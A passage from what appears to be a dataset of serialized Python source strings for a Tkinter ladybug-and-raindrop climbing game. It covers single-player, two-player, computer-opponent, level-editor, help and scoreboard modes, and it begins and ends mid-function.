data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef helpMousePressed(event, data):\n checkHome(event, data)\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\nrun(1000, 1000)\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\ndef initScoreBoardHelp(data):\n data.tbgY = 5 * data.height / 12\n data.txtTScore = 150\n data.S_P = 220\n data.numScores = 5\n data.scorePos = data.height / 10\n data.scoreShift = 270\n data.helpY = data.height / 2 - 20\n data.name = ''\n data.printName = ''\n data.hit = False\n initAI(data)\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\ndef hit(data):\n for coconut in data.coconuts:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if coconut.y >= data.cy - data.r and coconut.y <= data.cy + data.r:\n if (coconut.x >= data.cx - data.r and coconut.x <= data.cx +\n data.r):\n data.cy += data.hitPenalty\n if data.mode == 'levelCreated':\n data.lives -= 1\n elif data.hit == False and data.level < data.levelMax:\n data.score -= data.level\n data.coconuts.remove(coconut)\n if data.mode == 'levelCreated':\n data.levelEditorLives -= 1\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n 